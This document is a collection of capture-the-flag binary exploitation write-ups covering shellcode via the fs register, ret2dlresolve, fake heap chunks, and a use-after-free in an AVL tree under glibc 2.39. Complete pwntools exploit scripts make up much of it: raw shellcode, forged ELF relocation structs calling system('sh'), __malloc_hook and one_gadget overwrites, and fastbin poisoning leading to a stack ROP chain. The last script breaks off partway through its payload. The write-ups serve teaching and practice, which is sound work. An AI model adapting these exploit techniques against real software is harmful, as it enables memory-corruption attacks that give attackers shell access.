Exploit

from pwn import *
import hashlib

# this code is provided to solve the PROOF OF WORK on remote (to discourage brute-forcing)
def pow_solver(p):
    p.recvuntil(b"sha256(")
    challenge = p.recvuntil(b" + ", drop=True)
    p.recvuntil(b"(")
    difficulty = int(p.recvuntil(b")", drop=True))
    answer = 0
    log.info(f"finding pow for {challenge.decode()}, {difficulty}")
    while True:
        answer += 1
        h = hashlib.sha256()
        h.update(challenge + str(answer).encode())
        bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())
        if bits.startswith('0' * difficulty):
            break
    p.sendlineafter(b"answer: ", str(answer).encode())
    log.success("PoW solved!")

# p = remote("localhost", 34568)
if args.LOCAL:
    p = process("./chall_backup")
    gdb.attach(p, gdbscript="b *call_shellcode+120")
    pause()
else:
    p = remote("challs.nusgreyhats.org", 34568)
    pow_solver(p) # uncomment if running on remote!

# fs_base + 0x1ea1a0
payload = b"\x64\x4C\x8B\x04\x25\x00\x00\x00\x00\x4C\x89\xC4\x49\x81\xC0\xC0\x28\x00\x00\x48\xC7\xC7\x00\x03\x37\x13\x48\xC7\xC0\x02\x00\x00\x00\x49\x8D\x98\xB6\x0C\x09\x00\xFF\xD3\x48\xC7\xC7\x01\x00\x00\x00\x48\x89\xC6\x49\xC7\xC2\x00\x01\x00\x00\x48\xC7\xC0\x28\x00\x00\x00\x49\x8D\x98\xB6\x0C\x09\x00\xFF\xD3"

payload += b"A" * (0x300 - len(payload))
payload += b"./flag.txt\x00"
p.sendline(payload)

p.interactive() # grey{ret_to_thread_local_storage_via_fs_register}

ret2dlresolve

In ret2dlresolve, we need to fake 3 structs: STRTAB, SYMTAB, and JMPREL. These 3 structs are placed at an offset from corresponding sections, and they are identified through indexes from the start of the section. The addresses of these sections can be found using readelf:

readelf -d challenge

Dynamic section at offset 0x2e20 contains 24 entries:
  Tag        Type                         Name/Value
...
 0x0000000000000005 (STRTAB)             0x400450
 0x0000000000000006 (SYMTAB)             0x4003d8
...
 0x0000000000000017 (JMPREL)             0x400528
...

For example, in the actual resolving of fgets, this is the helper function that is placed in GOT and called:

0x401020:    push   QWORD PTR [rip+0x2fe2] ; 0x404008
0x401026:    bnd jmp QWORD PTR [rip+0x2fe3] ; 0x404010 (_dl_runtime_resolve_xsavec)
; ...
0x401030:    endbr64
0x401034:    push   0x0 ; index of fgets JMPREL
0x401039:    bnd jmp 0x401020

pwndbg> tel 0x404010
00:0000│  0x404010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd9660 (_dl_runtime_resolve_xsavec) ◂— endbr64

So, once we’ve faked all the structs, we need to jump to 0x401020 with the index of our fake JMPREL struct at top of stack, which will trigger the loading (and call) of our desired function.

typedef struct
{
  Elf64_Word	st_name;		/* Symbol name (string tbl index) */
  unsigned char	st_info;		/* Symbol type and binding */
  unsigned char st_other;		/* Symbol visibility */
  Elf64_Section	st_shndx;		/* Section index */
  Elf64_Addr	st_value;		/* Symbol value */
  Elf64_Xword	st_size;		/* Symbol size */
} Elf64_Sym;

st_name: str_idx
st_info: 0x12
st_other: 0x0
st_shndx: 0x0
st_value: 0x0
st_size: 0x0

typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
  Elf64_Xword	r_info;			/* Relocation type and symbol index */
} Elf64_Rel;

r_offset: got address to write the resolved function address to
r_info: (sym_idx << 32) | 0x7

endbr64
push   rbp
mov    rbp,rsp
sub    rsp,0x10
mov    rdx,QWORD PTR [rip+0x2ee7]
lea    rax,[rbp-0x1]
mov    esi,0x80
mov    rdi,rax
call   0x401040 <fgets@plt>
leave
ret

*RDI  0x7ffff7f99720 (_IO_stdfile_0_lock) ◂— 0
*RSI  0xa666473
*RDX  0xfbad2288
*RAX  0x7fffffffd99f ◂— 0x7f000a66647361 /* 'asdf\n' */

$ ROPgadget --binary challenge | grep di
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010a7 : mov edi, 0x404030 ; jmp rax
0x00000000004010a6 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x0000000000401118 : sbb ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404030 ; jmp rax

Exploit

#!/usr/bin/env python3

from pwn import *

exe = context.binary = ELF("./challenge")
libc = ELF("./lib/libc.so.6")

context.binary = exe
context.terminal = ["tmux", "splitw", "-v"]

if args.LOCAL:
    p = process()
    if args.GDB:
        gdb.attach(p, gdbscript="b *gets")
        pause()
else:
    p = remote("challs.nusgreyhats.org", 35123)

# good luck pwning :)

payload = flat(
    b"a",
    0x404f30,
    0x401142,
)
p.sendline(payload)

strtab = 0x400450
symtab = 0x4003d8
jmprel = 0x400528

writable = 0x404f50

Str_addr = writable + 0x18 + 0x10
str_idx = Str_addr - strtab
Str_struct = b"gets\x00"

Sym_addr = writable
sym_idx = int((Sym_addr - symtab) / 0x18)
st_name = p32(str_idx)
st_info = p8(0x12)
st_other = p8(0)
st_shndx = p16(0)
st_value = p64(0)
st_size = p64(0)
Sym_struct = st_name \
        + st_info \
        + st_other \
        + st_shndx \
        + st_value \
        + st_size

Rel_addr = writable + 0x18
reloc_arg = int((Rel_addr - jmprel) / 24)

print(f"str_idx: {str_idx}")
print(f"rel_idx: {(Rel_addr - jmprel) / 24}")
print(f"sym_idx: {(Sym_addr - symtab) / 0x18}")

r_offset = p64(0x404018)
r_info = p64((sym_idx << 32) | 0x7)
Rel_struct = r_offset + r_info

dlresolve = 0x401020
dlresolve_forge = Sym_struct + Rel_struct + Str_struct

payload = b"\x00"
payload += p64(0x404600)
payload += p64(dlresolve)
payload += p64(reloc_arg)
payload += p64(0x401142)
payload += dlresolve_forge

p.sendline(payload)

payload = b"\x00"
payload += p64(0x404f30)
payload += p64(0x401142)
p.sendline(b"sh\x00\x00")
p.sendline(payload)

Str_addr = writable + 0x18 + 0x10
str_idx = Str_addr - strtab
Str_struct = b"system\x00"

Sym_addr = writable
sym_idx = int((Sym_addr - symtab) / 0x18)
st_name = p32(str_idx)
st_info = p8(0x12)
st_other = p8(0)
st_shndx = p16(0)
st_value = p64(0)
st_size = p64(0)
Sym_struct = st_name \
        + st_info \
        + st_other \
        + st_shndx \
        + st_value \
        + st_size

Rel_addr = writable + 0x18
reloc_arg = int((Rel_addr - jmprel) / 24)

print(f"str_idx: {str_idx}")
print(f"rel_idx: {(Rel_addr - jmprel) / 24}")
print(f"sym_idx: {(Sym_addr - symtab) / 0x18}")

r_offset = p64(0x404018)
r_info = p64((sym_idx << 32) | 0x7)
Rel_struct = r_offset + r_info

dlresolve = 0x401020
dlresolve_forge = Sym_struct + Rel_struct + Str_struct

payload = b"\x00"
payload += p64(0x404600)
payload += p64(dlresolve)
payload += p64(reloc_arg)
payload += p64(0x401142)
payload += dlresolve_forge

p.sendline(payload)

p.interactive() # grey{i_actually_understand_ret2dlresolve}

Fake chunk analysis

We need to take into consideration certain restrictions before we start making our fake chunks:

1. The location of our fake chunks should be 16-byte aligned, this should be obvious
2. When freeing our fake chunks, if it doesn’t go into tcache (going into fastbin or unsorted bin), we must make sure that fake_chunk_addr+size+0x8 contains a valid chunk size, or it will crash with free(): invalid next size (fast). This means that in our first iteration, c must go into tcache, since it’s the last chunk to be allocated, and after it is the forest which we have no control over.
3. Notice that our fake chunks at b and c generally have to be the same (as long as b is not size 0), since by the end of the function, c will be pointing to the same data as in b (but copied over). Consequently, b must go into tcache in our first iteration as well.

Now that we know some of the conditions we need to satisfy, let’s also plan our exploit path.

1. Get libc leak from unsorted chunk
2. Get double free in tcache
3. Arbitrary write to __malloc_hook (luckily we’re on libc 2.31)

p.sendlineafter(b"length of meme:", str(0x500).encode())
payload = b"A"*0x3e0
payload += flat(
    0x0, 0x51,
)
payload += b"A"*(0x500 - 0x10 - len(payload))
payload += flat(
    0x0, 0x421,
)
p.sendlineafter(b"meme:", payload)

p.sendlineafter(b"length of meme:", str(0x10).encode())
payload = flat(
    0x0, 0x41,
)
p.sendlineafter(b"meme:", payload)

tcachebins
0x40 [  2]: 0x7017c0 —▸ 0x701ce0 ◂— 0

fastbins
empty

unsortedbin
all: 0x701790 —▸ 0x7f7f99fa7be0 ◂— 0x701790

smallbins
empty

largebins
empty

p.sendlineafter(b"length of meme:", str(0x0).encode())

Double free

Let’s go ahead and also make b size 0x0.

p.sendlineafter(b"length of meme:", str(0x0).encode())

Earlier, when we created the unsorted a in the 1st iteration, this is what the heap looks like after freeing all the chunks:

x/50gx 0x194d790
┌───────────────────────────────┐ 
│               │         0x421 │ <- fake 0x420 chunk (a), freed
│ libc leak     │               │
│               │          0x41 │ <- fake 0x40 chunk  (b), freed
│ fd            │               │ fd points to ──┐
│               │          0x41 │<-──────────────┘    (c), freed
│               │               │
...

After we allocate the 2 0x0 (size 0x21) chunks and c, but before we free, this is what the heap looks like:

x/50gx 0x194d790
┌───────────────────────────────┐
│               │          0x21 │ <- a
│ libc leak     │               │
│               │          0x21 │ <- b (initially 0x41)
│               │               │
│               │          0x21 │ <- c (initially 0x41)
│               │               │
│               │         0x3c1 │ <- rest of unsorted chunk
│               │               │
...

The tcache still contains the 0x41 chunks that we freed earlier. Once c and b are freed, the 0x40 and 0x20 tcache will contain the same chunks, giving us our double free!

tcachebins
0x20 [  3]: 0x194d7a0 —▸ 0x194d7c0 —▸ 0x194d7e0 ◂— 0
0x40 [  2]: 0x194d7c0 —▸ 0x194d7e0 ◂— 0

Arbitrary write

We will need 3 more mallocs to write to our __malloc_hook. The 1st malloc will clear the first chunk in 0x20 that isn’t our double free. This chunk still needs to be freed later, so we still need to fake the size (just fake it to some other tcache that we’re not using).

p.sendlineafter(b"length of meme:", str(0x10).encode())
payload = flat(
    0x0, 0x61
)
p.sendlineafter(b"meme:", payload)

The 2nd malloc will overwrite the fd pointer of the 0x40 chunk. This chunk too needs to be freed, so we also fake the size.

p.sendlineafter(b"length of meme:", str(0x10).encode())
payload = flat(
    libc_base + libc.sym.__malloc_hook, 0x61
)
p.sendlineafter(b"meme:", payload)

Now, the 3rd chunk (c) will be allocated, but in tcache 0x30 (c = malloc(0x10 + 0x10)). So it won’t use the chunks from 0x40 tcache. Then we can just allocate the last 2 chunks to get our arbitrary write and shell.

p.sendlineafter(b"length of meme:", str(0x30).encode())
payload = flat(
    0x0, 0x61
)
p.sendlineafter(b"meme:", payload)

one_gadget = [
    0xe3afe, 0xe3b01, 0xe3b04
]
p.sendlineafter(b"length of meme:", str(0x30).encode())
payload = flat(
    libc_base + one_gadget[1]
)
p.sendlineafter(b"meme:", payload)

p.interactive()

Exploit

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal_patched")
libc = ELF("./lib/libc.so.6")

context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]

if args.LOCAL:
    p = process([exe.path])
    if args.GDB:
        gdb.attach(p)
        pause()
else:
    p = remote("challs.nusgreyhats.org", 34567)

# good luck pwning :)
p.sendlineafter(b"length of meme:", str(0x500).encode())
payload = b"A"*0x3e0
payload += flat(
    0x0, 0x51,
)
payload += b"A"*(0x500 - 0x10 - len(payload))
payload += flat(
    0x0, 0x421,
)
print(hex(len(payload)))
p.sendlineafter(b"meme:", payload)

p.sendlineafter(b"length of meme:", str(0x10).encode())
payload = flat(
    0x0, 0x41,
)
print(hex(len(payload)))
p.sendlineafter(b"meme:", payload)

p.sendlineafter(b"length of meme:", str(0x0).encode())
p.sendlineafter(b"length of meme:", str(0x0).encode())

p.recvuntil(b"Enter meme: ")
libc_base = u64(p.recvline().strip().ljust(8, b"\x00")) - 0x1ecbe0
print(hex(libc_base))

p.sendlineafter(b"length of meme:", str(0x10).encode())
payload = flat(
    0x0, 0x61
)
p.sendlineafter(b"meme:", payload)

p.sendlineafter(b"length of meme:", str(0x10).encode())
payload = flat(
    libc_base + libc.sym.__malloc_hook, 0x61
)
p.sendlineafter(b"meme:", payload)

p.sendlineafter(b"length of meme:", str(0x30).encode())
payload = flat(
    0x0, 0x61
)
p.sendlineafter(b"meme:", payload)

one_gadget = [
    0xe3afe, 0xe3b01, 0xe3b04
]
p.sendlineafter(b"length of meme:", str(0x30).encode())
payload = flat(
    libc_base + one_gadget[1]
)
p.sendlineafter(b"meme:", payload)

p.interactive() # grey{f4k3_chunk_17_71l_y0u_m4k3_17}

Bug

When deleting a node with 2 children, the program will somehow swap the parent node’s data with the child’s, move the child up to the parent’s spot, and then free the original node. This grants us our UAF, and afterwards it should be quite trivial..?

Analysis

This is the struct of a Node:

typedef struct Node {
    int key;
    unsigned int height;
    struct Node *left;
    struct Node *right;
    void *data;
} Node;

And this is the implementation for create/delete:

Node *insert(AVLTree *tree, int key, void *data){
    Node *node = calloc(sizeof(struct Node), 1);
    node->key = key;
    node->data = data;
    node->height = 1;
    tree->root = insert_inner(tree->root, node); // just inserts node in correct position
    return node;
}

// create node
void create_mod(AVLTree *tree) {
    // ... stuff to get module code and length

    char *buf = calloc(mod_desc_len, 1);
    if(buf == NULL){
        puts("Description too long!");
        return;
    }

    printf("Enter module description: ");
    fgets(buf, mod_desc_len, stdin);

    insert(tree, hash, buf);
    return;
}

Node *del_inner(Node *node, int key){
    if(node == NULL){
        return NULL;
    }
    if(key > node->key){
        node->right = del_inner(node->right, key);
    } else if(key < node->key) {
        node->left = del_inner(node->left, key);
    } else {
        if(node->left == NULL || node->right == NULL){
            free(node->data);
            if(node->left == NULL && node->right == NULL){
                free(node);
                return NULL;
            }
            if(node->left == NULL){
                *node = *node->right;
            } else {
                *node = *node->left;
            }
        } else {
            Node* cur = node->right;
            while(cur->left != NULL){
                cur = cur->left;
            }
            node->key = cur->key;
            free(node->data);
            node->data = cur->data;
            node->right = del_inner(node->right, cur->key);
        }
    }
    // ... rebalance tree
}

void del_node(AVLTree *tree, int key){
    tree->root = del_inner(tree->root, key);
}

// delete
void delete_mod(AVLTree *tree){
    // ... get module code
    del_node(tree, hash);
    printf("Module %s deleted!", mod_code);
}

The challenge is using glibc 2.39, and using calloc to allocate the chunks. This creates a few considerations for us:

Tcache

Tcache is not used by calloc, so we cannot do a simple tcache dup/overwrite.

Fastbin

_int_malloc checks whether the chunk is in the correct fastbin size before allocating, which means we already need partial write at our desired target before we can actually allocate to it, making fastbin attack a lot more restricted.

Unsorted/largebin

Either unsorted bin or largebin attack is not possible. (I initially wanted to use this to overwrite global_max_fast so I can easily do House of Apple with fastbins)

Unsorted bin attack was made obsolete in glibc 2.29, with the addition of these checks, which prevents us from putting arbitrary values into bk pointer.

          bck = victim->bk;
          size = chunksize (victim);
          mchunkptr next = chunk_at_offset (victim, size);

          if (__glibc_unlikely (size <= 2 * SIZE_SZ)
              || __glibc_unlikely (size > av->system_mem))
            malloc_printerr ("malloc(): invalid size (unsorted)");
          if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
            malloc_printerr ("malloc(): invalid next size (unsorted)");
          if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
            malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
          if (__glibc_unlikely (bck->fd != victim)
              || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
            malloc_printerr ("malloc(): unsorted double linked list corrupted");
          if (__glibc_unlikely (prev_inuse (next)))
            malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

Largebin attack is impossible in this current scenario, because the 0x30 chunks that are allocated after each data chunk is allocated will cause any existing largebin chunks to go back into unsorted bin.

With this info, we can see that only an attack on fastbin is feasible. Before we proceed, let’s get a useful leak first. (Note: I used the debug version to visualize the tree so that I can tell which nodes to free)

# set up the tree
for i in range(10):
    add(f"CS{i}001".encode(), 0x70, b"asdf")

add(b"CS2001", 0x70, b"asdf")

# fill up 0x80 tcache
for i in range(9, 2, -1):
    delete(f"CS{i}001".encode())

# uaf
delete(b"CS2001")
delete(b"CS0001")
delete(b"CS1001")

# get heap leak
heap_leak = u64(search(b"CS2001").ljust(8, b"\x00"))
heap_leak = fastbin_decrypt(heap_leak) - 0x3f0

┌─────────────────────────────────┐
│                │           0xxx │ actual data chunk
│                │                │
│                │                │
│                │                │
│                │           0x81 │ fake fastbin size
│ fd             │                │ (make sure fd is valid, so after allocating this chunk the fastbin won't be broken)
│                │           0x31 │ end of data chunk, start of Node chunk
│ hash           │ *left          │ just use gdb to check and copy these values
│ *right         │ *data          │ overwrite this pointer
│                │                │
└─────────────────────────────────┘

pos1 = heap_leak + 0x980
target1 = heap_leak + 0x9d0

# double free
delete(b"CS2001")

# overwrite fastbin ptr
payload = p64(fastbin_encrypt(pos1, target1))
add(b"CS0001", 0x70, payload)

payload = flat(
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x81, # to fake a fastbin chunk here
    fastbin_encrypt(heap_leak + 0x9e0, 0), 0x0,
)

# get 3 more to reach fake chunk
for i in range(3):
    add(f"CS100{i}".encode(), 0x70, payload)

payload = flat(
    0x0, 0x0,
    0x0, 0x31,
    0xdeadbeef, 0x0,
    0x0, 0xcafebabe,
    0x0, 0x31,
    0x1ffffde29, 0x0,
    # *right, *data
    heap_leak + 0xd00, heap_leak + 0xb20, # unsorted leak will be here later
)
add(b"CS2000", 0x70, payload)

Libc leak

As mentioned earlier, we just need to overwrite the data pointer for libc leak.

# make new smallbin chunks and free them for unsorted leak
for i in range(8):
    add(f"CS999{i}".encode(), 0xf0, b"a")
for i in range(7, -1, -1):
    delete(f"CS999{i}".encode())

libc_leak = u64(search(b"\xff\xff1337").ljust(8, b"\x00")) - 0x203b20
print(hex(libc_leak))

Small detour - House of Mind (fastbin variant)

After this, I initially tried a different approach (which got really close!), and because I think it’s quite cool I’ll add it to the writeup too.

House of Mind is an old attack that used non-main arena logic to write a freed chunk address at an arbitrary location in memory. This attack comes in 2 variants, unsorted and fastbin.

Non-main arena chunks are indicated in the size field by the 0x4 bit. The arena stores information about fastbins, unsorted bins and small/large bins, as well as other stuff like available memory in the heap and the address of top chunk. If a chunk is using the main arena, it will simply read from and write to the main arena, which is found in libc. However, if the chunk isn’t using main arena, it first resolves the address from another struct in the heap, which (for non-main arena heaps) should be placed at the very top of the heap.

From glibc source:

To find the arena for a chunk on such a non-main arena, heap_for_ptr performs a bit mask operation and indirection through the ar_ptr member of the per-heap header heap_info (see arena.c).

arena.c:

typedef struct _heap_info
{
  mstate ar_ptr; /* Arena for this heap. */
  struct _heap_info *prev; /* Previous heap. */
  size_t size;   /* Current size in bytes. */
  size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.  */
  size_t pagesize; /* Page size used when allocating the arena.  */
  /* Make sure the following data is properly aligned, particularly
     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
     MALLOC_ALIGNMENT. */
  char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;

struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

libc-pointer-arith.h:

/* Align a value by rounding down to closest size.
   e.g. Using size of 4096, we get this behavior:
	{4095, 4096, 4097} = {0, 4096, 4096}.  */
#define ALIGN_DOWN(base, size)	((base) & -((__typeof__ (base)) (size)))
/* Same as ALIGN_DOWN(), but automatically casts when base is a pointer.  */
#define PTR_ALIGN_DOWN(base, size) \
  ((__typeof__ (base)) ALIGN_DOWN ((uintptr_t) (base), (size)))

malloc.c:

/* find the heap and corresponding arena for a given ptr */

static inline heap_info *
heap_for_ptr (void *ptr)
{
  size_t max_size = heap_max_size ();
  return PTR_ALIGN_DOWN (ptr, max_size);
}

static inline struct malloc_state *
arena_for_chunk (mchunkptr ptr)
{
  return chunk_main_arena (ptr) ? &main_arena : heap_for_ptr (ptr)->ar_ptr;
}

// ..__libc_free
    {
      MAYBE_INIT_TCACHE ();

      /* Mark the chunk as belonging to the library again.  */
      (void)tag_region (chunk2mem (p), memsize (p));

      ar_ptr = arena_for_chunk (p);
      _int_free (ar_ptr, p, 0);
    }

So for non-main arena chunks, the address of arena is resolved from heap_info, which is found using the PTR_ALIGN_DOWN macro. In other words: heap_info = chunk & ~(0x4000000 - 1). At this address, the arena pointer is stored, which will be passed to _int_free. _int_free then does stuff with it (eg. writing to the fastbins in arena). If we are able to control the pointer at this address, then we can achieve our partial write.

And it’s not hard - we just need to create enough chunks so that the heap expands all the way past our desired address of heap_info and write the av pointer to the location. Then when we create a chunk (fastbin), overwrite its size to add the non_main_arena flag, and then free that chunk, it will write the pointer to the arena address we control. Small caveat - at around +0x880 from the start of our fake arena, there must be a sufficiently large value that goes into system_mem, if not we fail this check:

  if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			  <= CHUNK_HDR_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
      {
	bool fail = true;
	/* We might not have a lock at this point and concurrent modifications
	   of system_mem might result in a false positive.  Redo the test after
	   getting the lock.  */
	if (!have_lock)
	  {
	    __libc_lock_lock (av->mutex);
	    fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
	    __libc_lock_unlock (av->mutex);
	  }

	if (fail)
	  malloc_printerr ("free(): invalid next size (fast)");
  }

This restriction actually makes our write a lot more restricted, considering a lot of memory in libc is null bytes. This rules out overwriting global_max_fast. After a while, I finally found that we can use _IO_2_1_stdin_. We can target the _chain field and set it to our freed chunk, then fake a file according to House of Apple. This file should give us our shell when it’s closed on exit!

Backtracking

After spending a few hours on this, it was almost midnight so I went to sleep.

The next day, I looked for other vectors to convert this almost arbitrary fastbin write to RCE. After searching for a bit, I found a reliable stack leak from libc (libc_leak + 0x2046e0), that is always a fixed offset from the saved RIP when create_mod is called. Additionally, the size check can be easily passed since we can write the size just above the stack, when the program asks for the module code. We also need the value of canary, which we can also get from libc. The steps to leak these are similar to libc leak, so I won’t repeat it again.

With the stack leak and canary, we can prepare to allocate a fastbin chunk there. Using the double free we have, we need to write the address of the fake chunk to our poisoned fastbin chunk before writing the fake size. Then we can allocate our fake chunk, write our ROP chain and win.

ROP chain

For the ROP chain, there’s a small consideration: the address of Tree will be overwritten by our chain, which will crash create_mod before it returns. To fix this, we need to put the address back. We can use some other gadget that pops the address into irrelevant registers to skip over the address and continue our ROP chain.

Exploit

#!/usr/bin/env python3

from pwn import *

exe = ELF("./main_patched")
libc = ELF("./lib/libc.so.6")

context.binary = exe
context.terminal = ["tmux", "splitw", "-hf"]

def fastbin_encrypt(pos: int, ptr: int):
    return (pos >> 12) ^ ptr

def fastbin_decrypt(val: int):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val

if args.LOCAL:
    p = process([exe.path])
    if args.GDB:
        gdb.attach(p)
        pause()
else:
    p = remote("dojo.elmo.sg", 40501)

def add(code: bytes, size: int, data: bytes):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"code:", code)
    p.sendlineafter(b"length:", str(size).encode())
    p.sendlineafter(b"description:", data)

def search(code: bytes):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"code:", code)
    p.recvuntil(b"description:")
    p.recvline()
    return p.recvline()[:-1]

def delete(code: bytes):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"code:", code)

# good luck pwning :)
# --- PART 1: leaks (heap, libc, stack, canary) ---
# set up the tree
for i in range(10):
    add(f"CS{i}001".encode(), 0x70, b"asdf")

add(b"CS2001", 0x70, b"asdf")

# fill up 0x80 tcache
for i in range(9, 2, -1):
    delete(f"CS{i}001".encode())

# uaf
delete(b"CS2001")
delete(b"CS0001")
delete(b"CS1001")

# get heap leak
heap_leak = u64(search(b"CS2001").ljust(8, b"\x00"))
heap_leak = fastbin_decrypt(heap_leak) - 0x3f0
print(hex(heap_leak))
pos1 = heap_leak + 0x980
target1 = heap_leak + 0x9d0

# double free
delete(b"CS2001")

# overwrite fastbin ptr
payload = p64(fastbin_encrypt(pos1, target1))
add(b"CS0001", 0x70, payload)

payload = flat(
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x81, # to fake a fastbin chunk here
    fastbin_encrypt(heap_leak + 0x9e0, 0), 0x0,
)

# get 3 more to reach fake chunk
for i in range(3):
    add(f"CS100{i}".encode(), 0x70, payload)

payload = flat(
    0x0, 0x0,
    0x0, 0x31,
    0xdeadbeef, 0x0,
    0x0, 0xcafebabe,
    0x0, 0x31,
    0x1ffffde29, 0x0,
    # *right, *data
    heap_leak + 0xd00, heap_leak + 0xb20, # unsorted leak will be here later
)
add(b"CS2000", 0x70, payload)

# make new smallbin chunks and free them for unsorted leak
for i in range(8):
    add(f"CS999{i}".encode(), 0xf0, b"a")
for i in range(7, -1, -1):
    delete(f"CS999{i}".encode())

libc_leak = u64(search(b"\xff\xff1337").ljust(8, b"\x00")) - 0x203b20
print(hex(libc_leak))
stack_leak_pivot = libc_leak + 0x2046e0
print(hex(stack_leak_pivot))

# stuff that didn't work :(
# global_max_fast = libc_leak + 0x1d94a0
# fake_chunk = libc_leak + 0x1d2340
# exit_funcs = libc_leak + 0x1d42f0

# set up a new double free
target2 = heap_leak + 0x1d40
pos2 = heap_leak + 0x1b20
payload = flat(
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x71,
    fastbin_encrypt(target2 + 0x10, 0), 0x0,
)
for i in range(10):
    add(f"CS500{i}".encode(), 0x60, payload)
for i in range(10, 20):
    add(f"CS50{i}".encode(), 0x60, payload)

# clear remnant of unsorted bin
add(b"CS0010", 0x10, b"a")

# # fill tcache
delete(b"CS5019")
delete(b"CS5017")
delete(b"CS5009")
delete(b"CS5007")
delete(b"CS5005")
delete(b"CS5003")
delete(b"CS5001")

# double free in 0x70
delete(b"CS5012")
delete(b"CS5011")
delete(b"CS5013")

payload = p64(fastbin_encrypt(pos2, target2))
add(b"CS6000", 0x60, payload)
for i in range(2):
    add(f"CS600{i}".encode(), 0x60, b"a")

payload = flat(
    0x0, 0x0,
    0x0, 0x31,
    0x40cb47cc8, heap_leak + 0x19b0,
    heap_leak + 0x1af0, stack_leak_pivot,
)
add(b"CS9996", 0x60, payload)
stack_leak = u64(search(b"CS5016").ljust(8, b"\x00")) - 0x140 # ret addr
print(hex(stack_leak))

canary_addr = libc_leak - 0x2898

# double free
target3 = heap_leak + 0x25b0
pos3 = heap_leak + 0x24d0
payload = flat(
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x71,
    fastbin_encrypt(target3 + 0x10, 0), 0x0,
)
for i in range(10):
    add(f"CS700{i}".encode(), 0x60, payload)
for i in range(10, 20):
    add(f"CS70{i}".encode(), 0x60, payload)

# fill tcache
delete(b"CS7018")
delete(b"CS7002")
delete(b"CS7000")
delete(b"CS7019")
delete(b"CS7016")
delete(b"CS7014")
delete(b"CS7012")

delete(b"CS7009")
delete(b"CS7008")
delete(b"CS7010")

payload = p64(fastbin_encrypt(pos3, target3))
add(b"CS7999", 0x60, payload)
for i in range(2):
    add(f"CS790{i}".encode(), 0x60, b"a")
payload = flat(
    0x0, 0x0,
    0x0, 0x31,
    0x50cb48493, heap_leak + 0x1f50,
    heap_leak + 0x29a0, canary_addr+1,
)
add(b"CS7902", 0x60, payload)
print(hex(target3))
canary = u64(search(b"CS7011")[:7].rjust(8, b"\x00"))
print(hex(canary))

# -- PART 2: write rop chain ---

target4 = stack_leak - 0x28
pos4 = heap_leak + 0x2dd0
payload = flat(
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x0,
    0x0, 0x71,
    fastbin_encrypt(target4 + 0x10, 0), 0x0,
)
for i in range(10):
    add(f"CS800{i}".encode(), 0x60, payload)
for i in range(10, 20):
    add(f"CS80{i}".encode(), 0x60, payload)

delete(b"CS8005")
delete(b"CS8004")
delete(b"CS8006")

payload = p64(fastbin_encrypt(pos4, target4))
add(b"CS8999", 0x60, payload)
for i in range(2):
    add(f"CS890{i}".encode(), 0x60, b"a")

code = b"CS1234\x00\x00"
code += p64(0x71)
code = code[:-1]
print(code)

libc.address = libc_leak
pop_rsi_r15_rbp = libc_leak + 0x2a871
pop_rdi = libc_leak + 0x10f75b
ret = libc_leak + 0x2882f
payload = flat(
    0x0, canary,
    0xdeadbeef,
